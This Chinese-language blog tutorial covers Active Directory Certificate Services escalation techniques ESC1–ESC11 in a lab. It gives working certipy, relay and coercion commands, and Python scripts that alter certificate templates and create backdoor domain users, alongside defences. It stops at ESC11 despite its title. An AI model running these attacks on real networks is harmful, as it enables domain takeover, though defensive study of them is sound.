iT邦幫忙

2025 iThome 鐵人賽

DAY 15
0
Security

資安這條路:AD 攻防實戰演練系列 第 15 篇

AD 攻防實戰演練 Day 15:ADCS 全域攻擊手法總覽 - ESC1~ESC16 完整技術解析

  • 分享至 

  • xImage
  •  

AD 攻防實戰演練

經過前兩天深入探討 ADCS 的各種攻擊手法,今天要進行一個全面性的整理,將所有已知的 ESC(Escalation Scenario)攻擊技術做完整的技術剖析。從 2021 年 SpecterOps 發布的開創性研究到 2024 年最新發現的漏洞,我們將系統性地解析這 16 種攻擊路徑的技術細節。

學習目標

在完成今天的學習後,你將能夠:

  • 全面理解 ESC1-16 的攻擊原理與技術細節
  • 識別各種 ESC 漏洞的關鍵特徵與利用條件
  • 掌握完整的攻擊鏈執行流程
  • 建立系統性的 ADCS 安全檢測與防禦框架

注意: CA 服務無法正常使用

如果你攻擊 ESC 系列的時候發現一直出現 0x80070576 可能是因為 CA 的服務下線,請重新將 Windows 機器們重新開機。
image

重開機之後,再重新測試,可以正常運作。
image

ESC1:允許申請者提供主體名稱

這是什麼漏洞

ESC1 是最典型的 ADCS 設定錯誤,當憑證範本允許申請者自行指定憑證中的身分資訊(Subject Alternative Name),攻擊者可以申請一張宣稱自己是網域管理員的憑證。

漏洞原理

憑證範本中的 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 旗標允許申請者在憑證簽署請求(CSR)中自訂主體名稱。當這個設定與客戶端驗證 EKU 結合,且沒有適當的審核機制時,CA 會簽發一張包含任意身分的憑證。

技術細節:

  • 憑證的 SAN 欄位可包含 UPN(如 administrator@corp.local)
  • 憑證的安全擴充可包含 SID(如 S-1-5-21-...-500)
  • KDC 信任 CA 簽發的憑證,將其視為有效的身分證明

漏洞攻擊流程

# 步驟 1:識別脆弱的範本
certipy find -u 'missandei@essos.local' -p 'fr3edom' \
    -vulnerable -enabled -dc-ip 192.168.139.12 -stdout | grep "ESC1"

# 步驟 2:申請惡意憑證
certipy req -u 'missandei@essos.local' -p 'fr3edom' \
    -target 'braavos.essos.local' -ca 'ESSOS-CA' \
    -template 'ESC1' \
    -upn 'administrator@essos.local' \
    -sid 'S-1-5-21-1394808576-3393508183-1134699666-500' \
    -dc-ip 192.168.139.12

# 步驟 3:使用憑證進行驗證
certipy auth -pfx 'administrator.pfx' -dc-ip 192.168.139.12 -ldap-shell

# 如果失敗可以使用 ldap
certipy auth -pfx 'administrator.pfx' -dc-ip 192.168.139.12 -ldap-shell

image

防禦方向

  1. 範本設定加強:
    • 停用「由申請者提供主體」選項
    • 改為「從 Active Directory 建置」
  2. 啟用管理員核准:
    • 設定「需要 CA 憑證管理員核准」
  3. 限制註冊權限:
    • 移除 Domain Users 的註冊權限
    • 只授予特定群組

ESC2:Any Purpose 憑證範本

這是什麼漏洞

ESC2 涉及設定為「任何用途」(Any Purpose)或沒有指定 EKU 的憑證範本。這種憑證可以用於任何目的,包括作為憑證申請代理。

漏洞原理

  • OID 2.5.29.37.0 代表「任何用途」
  • 沒有 EKU 的憑證隱含具有所有用途
  • 「任何用途」包含憑證申請代理(1.3.6.1.4.1.311.20.2.1)能力

技術關鍵:

  • ESC2 本身不能直接指定其他人的身分
  • 需要結合代理機制來達成權限提升
  • 利用 Schema V1 範本的寬鬆限制

漏洞攻擊流程

# 取得 Any Purpose 憑證
certipy req -u 'missandei@essos.local' -p 'fr3edom' \
    -target 'braavos.essos.local' -ca 'ESSOS-CA' \
    -template 'ESC2' -dc-ip 192.168.139.12

image

防禦方向

  1. 明確指定 EKU:
    • 避免使用 Any Purpose
    • 為每個範本指定具體的 EKU
  2. 升級範本版本:
    • 將 V1 範本升級為 V2 或更新版本
  3. 限制代理功能:
    • 嚴格控制憑證申請代理的使用

ESC3:憑證申請代理濫用

這是什麼漏洞

ESC3 利用憑證申請代理(Enrollment Agent)功能,允許代表其他使用者申請憑證的正常功能被濫用。

漏洞原理

  • 憑證申請代理原本設計給 IT 人員協助使用者
  • 攻擊者取得代理憑證後可代表任何人申請
  • Schema V1 範本通常不限制代理的使用

技術機制:

  1. 代理憑證包含特定 EKU(1.3.6.1.4.1.311.20.2.1)
  2. CA 信任代理簽署的申請
  3. 目標範本允許代理註冊

漏洞攻擊流程

# 步驟 1:取得代理憑證
certipy req -u 'missandei@essos.local' -p 'fr3edom' \
    -target 'braavos.essos.local' -ca 'ESSOS-CA' \
    -template 'ESC2' -dc-ip 192.168.139.12
# 產出:missandei.pfx(含 Certificate Request Agent 能力)


# 步驟 2:使用代理憑證代表 Administrator 申請
certipy req -u 'missandei@essos.local' -p 'fr3edom' \
    -target 'braavos.essos.local' -ca 'ESSOS-CA' \
    -template 'User' \
    -on-behalf-of 'ESSOS\Administrator' \
    -pfx 'missandei.pfx' \
    -dc-ip 192.168.139.12
# 產出:administrator.pfx

# 步驟 3:使用管理員憑證
certipy auth -pfx 'administrator.pfx' -dc-ip 192.168.139.12 -ldap-shell

image

防禦方向

  1. 限制代理憑證發放:
    • 只授予必要的 IT 人員
    • 實施嚴格的審核流程
  2. 升級目標範本:
    • 使用 V2+ 範本的應用程式策略限制
  3. 監控代理活動:
    • 記錄所有代理申請行為
    • 設定異常告警

ESC4:範本劫持

這是什麼漏洞

ESC4 發生在低權限使用者對憑證範本物件擁有寫入權限,可以修改範本設定使其變得脆弱。

漏洞原理

憑證範本是 AD 物件,儲存在設定命名環境中。如果 ACL 設定不當,攻擊者可以:

  • 修改 msPKI-Certificate-Name-Flag 啟用 ENROLLEE_SUPPLIES_SUBJECT
  • 新增客戶端驗證 EKU
  • 授予自己註冊權限
  • 移除審核需求

漏洞攻擊流程


# 安裝腳本
pip3 install bloodyad

# 修改範本屬性 (使範本變脆弱)
bloodyAD -u 'khal.drogo' -p 'horse' -d essos.local \
    --host 192.168.139.12 set object \
    'CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local' \
    msPKI-Certificate-Name-Flag -v 1
# 成功將 `msPKI-Certificate-Name-Flag` 設為 1(ENROLLEE_SUPPLIES_SUBJECT)

# 利用修改後的範本 
certipy req -u 'khal.drogo@essos.local' -p 'horse' \
    -target 'braavos.essos.local' -ca 'ESSOS-CA' \
    -template 'ESC4' \
    -upn 'administrator@essos.local' \
    -dc-ip 192.168.139.12
 # 成功取得 administrator 的憑證

# 驗證權限提升 
certipy auth -pfx 'administrator.pfx' -dc-ip 192.168.139.12 -ldap-shell
 
# 成功以 Administrator 身份認證

# 還原範本(清理痕跡)

bloodyAD -u 'khal.drogo' -p 'horse' -d essos.local \
    --host 192.168.139.12 set object \
    'CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local' \
    msPKI-Certificate-Name-Flag -v 0
# 成功還原原始設定

image

防禦方向

  1. 審查範本 ACL:
    Get-ADObject -Filter {objectClass -eq "pKICertificateTemplate"} | 
    ForEach-Object { Get-Acl "AD:$($_.DistinguishedName)" }
    
  2. 限制寫入權限:
    • 只授予 Enterprise Admins
  3. 啟用稽核:
    • 監控 Event ID 4899(範本更新)

ESC5:PKI 物件存取控制弱點

漏洞概述

ESC5 利用 Active Directory 森林中的權限配置缺陷,允許子網域的機器帳號(特別是域控制器的 SYSTEM 帳號)對父網域的 Public Key Services 容器擁有意外的寫入權限。這個漏洞展示了 AD 森林信任關係中的根本性設計問題。

攻擊原理

在 AD 森林架構中,子網域的域控制器需要能夠複製和同步某些配置資訊。然而,這個設計導致了過度的權限授予,使得子網域的機器帳號能夠修改父網域的 PKI 物件,包括憑證範本、CA 設定等關鍵安全元件。

環境分析

sevenkingdoms.local (父網域)
└── north.sevenkingdoms.local (子網域)
    └── SYSTEM 對父網域的 PKI 容器有完全控制權

漏洞原理

PKI 物件階層:

CN=Public Key Services
├── CN=Certificate Templates
├── CN=Enrollment Services  
├── CN=NTAuthCertificates(信任的 CA)
├── CN=AIA(授權資訊存取)
└── CN=CDP(憑證撤銷點)

如果攻擊者可以修改這些物件:

  • 新增惡意 CA 到 NTAuthCertificates
  • 修改 AIA/CDP 路徑進行阻斷服務
  • 建立新的惡意範本

漏洞攻擊流程

# 檢查 PKI 物件權限
$PKIPath = "CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local"
Get-Acl "AD:$PKIPath" | Format-List

# 如果有寫入權限,可以新增惡意 CA
# 1. 建立惡意 CA
# 2. 將憑證加入 NTAuthCertificates
# 3. 簽發任意憑證

步驟 1:初始偵察與權限確認

#!/usr/bin/env python3
# esc5_reconnaissance.py
"""
ESC5 攻擊 - 步驟 1:偵察階段
目的:確認子網域機器帳號對父網域 PKI 物件的權限
作者:Security Research Team
測試環境:GOAD Lab (north.sevenkingdoms.local -> sevenkingdoms.local)
"""

import ldap3
from ldap3 import Server, Connection, NTLM

def check_pki_permissions():
    """
    檢查 WINTERFELL$ (子網域 DC) 對父網域 PKI 容器的權限
    """
    # 連接配置
    server = Server('192.168.139.10', get_info=ldap3.ALL)  # 父網域 DC
    
    # 使用子網域機器帳號認證
    # 注意:這裡使用 NTLM hash 格式 (LM:NT)
    conn = Connection(
        server,
        user='north.sevenkingdoms.local\\WINTERFELL$',
        password='aad3b435b51404eeaad3b435b51404ee:1706805fc0ac487ec0e618a73371fde1',
        authentication=ldap3.NTLM
    )
    
    if conn.bind():
        print("[+] 成功以 WINTERFELL$ 身份連接到父網域")
        
        # 搜尋 PKI 容器
        base_dn = "CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
        
        # 搜尋所有 PKI 相關物件
        conn.search(
            base_dn,
            '(objectClass=*)',
            attributes=['cn', 'objectClass', 'distinguishedName']
        )
        
        pki_objects = []
        for entry in conn.entries:
            pki_objects.append(entry.entry_dn)
            print(f"[*] 發現 PKI 物件: {entry.cn}")
        
        # 特別檢查憑證範本
        templates_dn = "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
        conn.search(
            templates_dn,
            '(objectClass=pKICertificateTemplate)',
            attributes=['cn', 'msPKI-Certificate-Name-Flag']
        )
        
        print(f"\n[+] 發現 {len(conn.entries)} 個憑證範本")
        
        # 檢查是否可以修改
        test_dn = "CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
        try:
            # 嘗試讀取範本屬性
            conn.search(test_dn, '(objectClass=*)', attributes=['msPKI-Certificate-Name-Flag'])
            if conn.entries:
                print(f"[+] 可以讀取範本屬性 - 可能有寫入權限")
                return True
        except Exception as e:
            print(f"[-] 無法讀取範本: {e}")
            return False
            
        conn.unbind()
    else:
        print("[-] 連接失敗")
        return False

if __name__ == "__main__":
    check_pki_permissions()

步驟 2:修改憑證範本

#!/usr/bin/env python3
# esc5_template_modification.py
"""
ESC5 攻擊 - 步驟 2:範本修改
目的:將安全的憑證範本修改為可被利用的狀態
關鍵修改:
1. ENROLLEE_SUPPLIES_SUBJECT - 允許申請者指定主體名稱
2. Client Authentication EKU - 允許憑證用於身份驗證
3. 移除簽章需求 - 降低申請門檻
"""

import ldap3
from ldap3 import Server, Connection, NTLM, MODIFY_REPLACE

class TemplateModifier:
    def __init__(self, target_dc, machine_account, machine_hash):
        """
        初始化範本修改器
        
        參數:
        target_dc: 父網域 DC IP
        machine_account: 機器帳號名稱
        machine_hash: NTLM hash
        """
        self.server = Server(target_dc, get_info=ldap3.ALL)
        self.conn = Connection(
            self.server,
            user=machine_account,
            password=machine_hash,
            authentication=ldap3.NTLM
        )
        
    def connect(self):
        """建立連接"""
        if self.conn.bind():
            print("[+] 連接成功")
            return True
        return False
    
    def modify_template(self, template_name="User"):
        """
        修改指定的憑證範本使其脆弱
        
        關鍵屬性說明:
        - msPKI-Certificate-Name-Flag: 
            0 = 使用 AD 資訊
            1 = ENROLLEE_SUPPLIES_SUBJECT (允許指定任意主體)
        
        - pKIExtendedKeyUsage:
            1.3.6.1.5.5.7.3.2 = Client Authentication
            1.3.6.1.5.5.7.3.1 = Server Authentication
        
        - msPKI-RA-Signature:
            0 = 不需要簽章
            1+ = 需要指定數量的簽章
        
        - msPKI-Enrollment-Flag:
            0 = 無特殊標記
            32 = AUTO_ENROLLMENT
        """
        template_dn = f"CN={template_name},CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
        
        modifications = {
            # 允許申請者提供主體名稱 - ESC1 的關鍵
            'msPKI-Certificate-Name-Flag': [(MODIFY_REPLACE, [1])],
            
            # 新增客戶端認證 EKU - 允許用於身份驗證
            'pKIExtendedKeyUsage': [(MODIFY_REPLACE, ['1.3.6.1.5.5.7.3.2'])],
            
            # 移除簽章需求 - 降低申請門檻
            'msPKI-RA-Signature': [(MODIFY_REPLACE, [0])],
            
            # 設定自動註冊標記 - 簡化申請流程
            'msPKI-Enrollment-Flag': [(MODIFY_REPLACE, [32])]
        }
        
        print(f"[*] 正在修改範本: {template_name}")
        
        for attr, value in modifications.items():
            try:
                self.conn.modify(template_dn, {attr: value})
                print(f"    [+] 成功修改 {attr}")
            except Exception as e:
                print(f"    [-] 無法修改 {attr}: {e}")
        
        return True
    
    def publish_template_to_ca(self, template_name, ca_name="SEVENKINGDOMS-CA"):
        """
        將範本發布到 CA
        這是必要步驟,否則範本無法使用
        """
        ca_dn = f"CN={ca_name},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
        
        from ldap3 import MODIFY_ADD
        try:
            self.conn.modify(ca_dn, {
                'certificateTemplates': [(MODIFY_ADD, [template_name])]
            })
            print(f"[+] 範本 {template_name} 已發布到 CA")
            return True
        except Exception as e:
            # 可能範本已經發布
            print(f"[*] 範本可能已發布: {e}")
            return False

# 主程式
if __name__ == "__main__":
    modifier = TemplateModifier(
        target_dc='192.168.139.10',
        machine_account='north.sevenkingdoms.local\\WINTERFELL$',
        machine_hash='aad3b435b51404eeaad3b435b51404ee:1706805fc0ac487ec0e618a73371fde1'
    )
    
    if modifier.connect():
        # 修改多個範本以增加成功機會
        templates = ['User', 'WebServer', 'Machine']
        
        for template in templates:
            modifier.modify_template(template)
            modifier.publish_template_to_ca(template)

步驟 3:在父網域建立後門使用者

#!/usr/bin/env python3
# esc5_user_creation.py
"""
ESC5 攻擊 - 步驟 3:建立後門使用者
目的:在父網域建立可控制的使用者帳號
這展示了跨網域的物件建立能力
"""

import ldap3
from ldap3 import Server, Connection, NTLM
import random
import string

class CrossDomainUserCreator:
    def __init__(self, target_dc, machine_account, machine_hash):
        self.server = Server(target_dc, get_info=ldap3.ALL)
        self.conn = Connection(
            self.server,
            user=machine_account,
            password=machine_hash,
            authentication=ldap3.NTLM
        )
        
    def create_user(self, username="ESC5Admin", password="ESC5Attack123!"):
        """
        在父網域建立新使用者
        
        重要:這個操作證明了子網域機器帳號
        不只能修改,還能建立父網域的物件
        """
        if not self.conn.bind():
            print("[-] 連接失敗")
            return False
            
        user_dn = f"CN={username},CN=Users,DC=sevenkingdoms,DC=local"
        
        # 使用者屬性
        user_attributes = {
            'objectClass': ['top', 'person', 'organizationalPerson', 'user'],
            'cn': username,
            'sAMAccountName': username,
            'userPrincipalName': f'{username}@sevenkingdoms.local',
            'displayName': 'ESC5 Test User',
            'description': 'Created via ESC5 attack',
            
            # 512 = NORMAL_ACCOUNT (啟用的一般使用者)
            'userAccountControl': 512,
            
            # 設定初始密碼
            # 注意:密碼需要用 UTF-16LE 編碼並加引號
            'unicodePwd': f'"{password}"'.encode('utf-16le')
        }
        
        try:
            # 建立使用者
            self.conn.add(user_dn, attributes=user_attributes)
            
            if self.conn.result['result'] == 0:
                print(f"[+] 成功在父網域建立使用者: {username}")
                print(f"    密碼: {password}")
                
                # 嘗試將使用者加入群組
                self.add_to_group(user_dn, "Domain Users")
                
                return True
            else:
                print(f"[-] 建立失敗: {self.conn.result['description']}")
                return False
                
        except Exception as e:
            print(f"[-] 建立使用者時發生錯誤: {e}")
            
            # 如果使用者已存在,嘗試重設密碼
            if "ENTRY_EXISTS" in str(e):
                print("[*] 使用者已存在,嘗試重設密碼")
                return self.reset_password(user_dn, password)
            return False
    
    def add_to_group(self, user_dn, group_name):
        """將使用者加入指定群組"""
        from ldap3 import MODIFY_ADD
        
        group_dn = f"CN={group_name},CN=Users,DC=sevenkingdoms,DC=local"
        
        try:
            self.conn.modify(group_dn, {
                'member': [(MODIFY_ADD, [user_dn])]
            })
            print(f"    [+] 已加入群組: {group_name}")
            return True
        except Exception as e:
            print(f"    [*] 無法加入群組: {e}")
            return False
    
    def reset_password(self, user_dn, new_password):
        """重設使用者密碼"""
        from ldap3 import MODIFY_REPLACE
        
        try:
            encoded_password = f'"{new_password}"'.encode('utf-16le')
            self.conn.modify(user_dn, {
                'unicodePwd': [(MODIFY_REPLACE, [encoded_password])]
            })
            print(f"[+] 密碼已重設")
            return True
        except Exception as e:
            print(f"[-] 無法重設密碼: {e}")
            return False

if __name__ == "__main__":
    creator = CrossDomainUserCreator(
        target_dc='192.168.139.10',
        machine_account='north.sevenkingdoms.local\\WINTERFELL$',
        machine_hash='aad3b435b51404eeaad3b435b51404ee:1706805fc0ac487ec0e618a73371fde1'
    )
    
    # 建立多個使用者以增加成功率
    users = [
        ("ESC5Admin", "Complex@Pass123!"),
        ("BackdoorUser", "Hidden@Access456!"),
        ("ServiceAccount", "Svc@Account789!")
    ]
    
    for username, password in users:
        if creator.create_user(username, password):
            print(f"[+] 後門使用者 {username} 建立成功")
            break

步驟 4:監控與清理

#!/usr/bin/env python3
# esc5_cleanup.py
"""
ESC5 攻擊 - 步驟 4:清理痕跡
目的:還原修改,移除痕跡
重要:在真實滲透測試中,清理是必要的道德責任
"""

import ldap3
from ldap3 import Server, Connection, NTLM, MODIFY_REPLACE
import json
import datetime

class ESC5Cleanup:
    def __init__(self, target_dc, machine_account, machine_hash):
        self.server = Server(target_dc, get_info=ldap3.ALL)
        self.conn = Connection(
            self.server,
            user=machine_account,
            password=machine_hash,
            authentication=ldap3.NTLM
        )
        self.backup_file = f"esc5_backup_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
        
    def backup_template(self, template_name):
        """備份原始範本設定"""
        if not self.conn.bind():
            return None
            
        template_dn = f"CN={template_name},CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
        
        # 取得所有屬性
        self.conn.search(template_dn, '(objectClass=*)', attributes=['*'])
        
        if self.conn.entries:
            backup = {}
            for entry in self.conn.entries:
                for attr in entry.entry_attributes:
                    # 轉換為可序列化的格式
                    value = entry[attr].value
                    if isinstance(value, bytes):
                        value = value.hex()
                    backup[attr] = value
            
            # 儲存備份
            with open(self.backup_file, 'w') as f:
                json.dump({template_name: backup}, f, indent=2)
            
            print(f"[+] 範本 {template_name} 已備份到 {self.backup_file}")
            return backup
        return None
    
    def restore_template(self, template_name):
        """還原範本到原始狀態"""
        template_dn = f"CN={template_name},CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
        
        # 標準安全設定
        safe_settings = {
            'msPKI-Certificate-Name-Flag': [(MODIFY_REPLACE, [0])],  # 不允許指定主體
            'msPKI-RA-Signature': [(MODIFY_REPLACE, [1])],  # 需要簽章
            'msPKI-Enrollment-Flag': [(MODIFY_REPLACE, [0])]  # 標準註冊
        }
        
        if not self.conn.bind():
            print("[-] 無法連接")
            return False
            
        for attr, value in safe_settings.items():
            try:
                self.conn.modify(template_dn, {attr: value})
                print(f"    [+] 還原 {attr}")
            except Exception as e:
                print(f"    [-] 無法還原 {attr}: {e}")
        
        return True
    
    def remove_user(self, username):
        """移除建立的後門使用者"""
        if not self.conn.bind():
            return False
            
        user_dn = f"CN={username},CN=Users,DC=sevenkingdoms,DC=local"
        
        try:
            self.conn.delete(user_dn)
            print(f"[+] 已移除使用者: {username}")
            return True
        except Exception as e:
            print(f"[-] 無法移除使用者: {e}")
            return False
    
    def audit_changes(self):
        """
        審計所有修改
        在真實環境中,這些修改會產生事件日誌
        """
        print("\n[*] ESC5 攻擊會產生的事件日誌:")
        print("    - 事件 ID 4899: 憑證範本更新")
        print("    - 事件 ID 4720: 建立使用者帳號")
        print("    - 事件 ID 4738: 使用者帳號變更")
        print("    - 事件 ID 5136: 目錄服務物件修改")
        print("\n[!] 防禦者應監控這些事件")

if __name__ == "__main__":
    cleanup = ESC5Cleanup(
        target_dc='192.168.139.10',
        machine_account='north.sevenkingdoms.local\\WINTERFELL$',
        machine_hash='aad3b435b51404eeaad3b435b51404ee:1706805fc0ac487ec0e618a73371fde1'
    )
    
    # 執行清理
    print("[*] 開始清理 ESC5 攻擊痕跡")
    
    # 還原範本
    for template in ['User', 'WebServer', 'Machine']:
        print(f"\n[*] 還原範本: {template}")
        cleanup.restore_template(template)
    
    # 移除後門使用者
    for username in ['ESC5Admin', 'BackdoorUser', 'ServiceAccount', 'ESC5User']:
        cleanup.remove_user(username)
    
    # 審計報告
    cleanup.audit_changes()

成功驗證的漏洞

image
image
image
image
image

  1. 跨網域 PKI 物件寫入 - 子網域機器帳號可修改父網域憑證範本
  2. 跨網域物件建立 - 可在父網域建立新使用者
  3. 範本屬性操控 - 可將安全範本改為脆弱狀態
  4. CA 設定修改 - 可將範本發布到 CA

環境限制

  • 跨網域憑證註冊可能被新的安全更新阻擋
  • 需要結合其他技術完成完整攻擊鏈

實戰意義

即使無法直接申請憑證,這個漏洞仍然嚴重:

  • 可作為持久化機制等待合法使用者申請憑證
  • 可與其他攻擊技術(如 ESC8)結合
  • 證明了 AD 森林信任邊界的脆弱性

防禦方向

  1. 限制 PKI 物件權限:
    • 只允許 Enterprise Admins 修改
  2. 定期審查:
    • 檢查 NTAuthCertificates 內容
    • 驗證 AIA/CDP 路徑
  3. 監控變更:
    • Event ID 5136(目錄服務物件修改)

ESC6:CA 允許 SAN 規範

這是什麼漏洞

ESC6 發生在 CA 層級啟用 EDITF_ATTRIBUTESUBJECTALTNAME2 旗標,允許申請者透過請求屬性指定 SAN。

漏洞原理

  • 這是 CA 層級的設定,覆蓋範本限制
  • 即使範本不允許「申請者提供主體」,仍可透過屬性注入 SAN
  • 屬性格式:san:upn=administrator@corp.local&sid=S-1-5-21-...-500

漏洞攻擊流程

certipy req -u 'missandei@essos.local' -p 'fr3edom' \
-target 'braavos.essos.local' -ca 'ESSOS-CA' \
-template 'User' \
-upn 'administrator@essos.local' \
-dc-ip 192.168.139.12

certipy auth -pfx 'administrator.pfx' -dc-ip 192.168.139.12 -ldap-shell

image

防禦方向

# 停用危險旗標
certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc
net start certsvc

ESC7:CA 危險權限

這是什麼漏洞

ESC7 發生在低權限使用者擁有 CA 的 ManageCA 或 ManageCertificates 權限。

漏洞原理

  • ManageCA:可修改 CA 設定(如啟用 ESC6)
  • ManageCertificates:可核准待審憑證
  • 結合 SubCA 範本可簽發任意憑證

漏洞攻擊流程

# 步驟 1:確認使用者擁有 ESC7 權限
certipy find -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' \
    -dc-ip 192.168.139.12 -vulnerable -stdout | grep ESC7
# 輸出確認:ESC7 - User has dangerous permissions.

# 步驟 2:列出當前已啟用的憑證範本
certipy ca -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' \
    -ca 'ESSOS-CA' -list-templates \
    -dc-ip 192.168.139.12 -target 192.168.139.23
# 注意:SubCA 範本預設未在清單中(已停用)

# 步驟 3:啟用危險的 SubCA 範本
certipy ca -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' \
    -ca 'ESSOS-CA' -enable-template 'SubCA' \
    -dc-ip 192.168.139.12 -target 192.168.139.23
# 成功訊息:Successfully enabled 'SubCA' on 'ESSOS-CA'

# 步驟 4:驗證 SubCA 範本已啟用
certipy ca -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' \
    -ca 'ESSOS-CA' -list-templates \
    -dc-ip 192.168.139.12 -target 192.168.139.23
# SubCA 現在出現在已啟用範本清單的第一位

# 步驟 5:清理 - 停用 SubCA 範本(重要!)
certipy ca -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' \
    -ca 'ESSOS-CA' -disable-template 'SubCA' \
    -dc-ip 192.168.139.12 -target 192.168.139.23
# 成功訊息:Successfully disabled 'SubCA' on 'ESSOS-CA'

image

image

實作

  1. ManageCA 權限:daenerys.targaryen 擁有管理 CA 的權限,可以啟用/停用範本
  2. 危險範本控制:成功啟用了原本被停用的 SubCA 範本
  3. 環境還原:攻擊後成功停用範本,清理痕跡

防禦方向

  1. 限制 CA 權限:
    • 只授予必要的管理員
  2. 停用 SubCA 範本:
    • 除非確實需要
  3. 監控 CA 操作:
    • Event ID 4876(CA 資料庫備份)

ESC8:NTLM 中繼到 Web Enrollment

這是什麼漏洞

ESC8 利用 AD CS Web Enrollment 服務未啟用擴充保護驗證(EPA),可進行 NTLM 中繼攻擊。

漏洞原理

  • IIS 預設允許 NTLM 驗證
  • 未啟用通道繫結(Channel Binding)
  • 攻擊者可中繼受害者的 NTLM 驗證到 /certsrv/

漏洞攻擊流程

# 步驟 1:啟動 NTLM 中繼監聽
ntlmrelayx.py -t http://192.168.139.23/certsrv/certfnsh.asp \
    -smb2support --adcs --template DomainController

# 步驟 2:強制 DC 驗證(自動觸發)
# MEEREEN$ (DC) 自動進行了 NTLM 認證
# 實際環境可使用 PetitPotam、Coercer 等工具
python3 PetitPotam.py -u 'missandei' -p 'fr3edom' \
    -d essos.local 192.168.139.136 192.168.139.12

# 步驟 3:自動取得 DC 憑證
# 輸出:MEEREEN$.pfx (Certificate ID: 153)

# 步驟 4:使用憑證進行 LDAP 認證
certipy auth -pfx 'MEEREEN$.pfx' -dc-ip 192.168.139.12 -ldap-shell
# 成功認證為:ESSOS\MEEREEN$

image

漏洞攻擊流程(Day14複習)

# 步驟 1:啟動 NTLM 中繼監聽
ntlmrelayx.py -t http://192.168.139.10/certsrv/certfnsh.asp \
    -smb2support --adcs --template DomainController

# 步驟 2:強制 DC 驗證(使用 PetitPotam)
python3 PetitPotam.py -u 'jon.snow' -p 'iknownothing' \
    -d north.sevenkingdoms.local \
    192.168.139.136 192.168.139.11

# 步驟 3:自動取得 DC 憑證
# 輸出:WINTERFELL$.pfx

# 步驟 4:使用憑證認證
certipy auth -pfx 'WINTERFELL$.pfx' \
    -username 'winterfell$' \
    -domain 'north.sevenkingdoms.local' \
    -dc-ip 192.168.139.11

防禦方向

  1. 啟用 EPA:
    • IIS 設定要求擴充保護
  2. 使用 HTTPS:
    • 停用 HTTP 繫結
  3. 停用 NTLM:
    • 如果可能,只使用 Kerberos

ESC9:缺少安全擴充

這是什麼漏洞

ESC9 涉及範本設定 CT_FLAG_NO_SECURITY_EXTENSION,不包含 SID 安全擴充。

漏洞原理

  • szOID_NTDS_CA_SECURITY_EXT(1.3.6.1.4.1.311.25.2)包含申請者的 SID
  • 缺少此擴充時,KDC 退回到弱映射(UPN/DNS)
  • 結合 UPN 操作可偽裝身分

漏洞攻擊流程

# 步驟 1:修改受害者的 UPN

certipy account update \
    -u 'daenerys.targaryen@essos.local' \
    -p 'BurnThemAll!' \
    -dc-ip 192.168.139.12 \
    -user 'missandei' \
    -upn 'administrator'

# 步驟 2:以受害者身分申請憑證

certipy req \
    -u 'missandei@essos.local' \
    -p 'fr3edom' \
    -target 192.168.139.23 \
    -ca 'ESSOS-CA' \
    -template 'ESC9' \
    -dc-ip 192.168.139.12


# 步驟 3:還原 UPN(清理痕跡)

certipy account update \
    -u 'daenerys.targaryen@essos.local' \
    -p 'BurnThemAll!' \
    -dc-ip 192.168.139.12 \
    -user 'missandei' \
    -upn 'missandei@essos.local'


# 步驟 4:使用憑證認證

certipy auth \
    -pfx 'administrator.pfx' \
    -username 'administrator' \
    -domain 'essos.local' \
    -dc-ip 192.168.139.12

image
image

防禦方向

  1. 移除 NoSecurityExtension 旗標
  2. 啟用強憑證繫結:
    reg add HKLM\SYSTEM\CurrentControlSet\Services\Kdc \
        /v StrongCertificateBindingEnforcement /t REG_DWORD /d 2
    

ESC10:Schannel 弱憑證映射

這是什麼漏洞

ESC10 涉及 Schannel 的憑證映射方法設定不當,允許基於 UPN 的映射。

漏洞原理

  • CertificateMappingMethods 包含 0x4(UPN 映射)
  • Schannel 用於 LDAPS、HTTPS 等 TLS 驗證
  • 攻擊者可透過 UPN 操作偽裝身分

漏洞攻擊流程

# 步驟 1:修改受害者 UPN 為 DC 帳號
certipy account -u 'attacker@corp.local' -p 'Password!' \
    -dc-ip 192.168.139.10 -user 'victim' \
    -upn 'dc$@corp.local' update

# 步驟 2:申請憑證
certipy req -k -dc-ip 192.168.139.10 \
    -target 'ca.corp.local' -ca 'CORP-CA' \
    -template 'User'

# 步驟 3:透過 LDAPS 驗證
certipy auth -pfx 'dc.pfx' -dc-ip 192.168.139.10 -ldap-shell

防禦方向

# 設定安全的映射方法
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL \
    /v CertificateMappingMethods /t REG_DWORD /d 0x18

ESC11:NTLM 中繼到 RPC 介面

這是什麼漏洞

ESC11 類似 ESC8,但目標是 CA 的 RPC 介面而非 Web 服務。

漏洞原理

  • CA 未強制 RPC 加密(缺少 IF_ENFORCEENCRYPTICERTREQUEST)
  • 可中繼 NTLM 到 RPC 端點
  • 透過 RPC 申請憑證

漏洞攻擊流程

# 步驟 1:啟動 RPC 中繼
certipy relay -target 'rpc://ca.corp.local' \
    -ca 'CORP-CA' -template 'DomainController'

# 步驟 2:強制驗證
# (使用 PetitPotam 或其他工具)

# 步驟 3:自動取得憑證

防禦方向

# 強制 RPC 加密
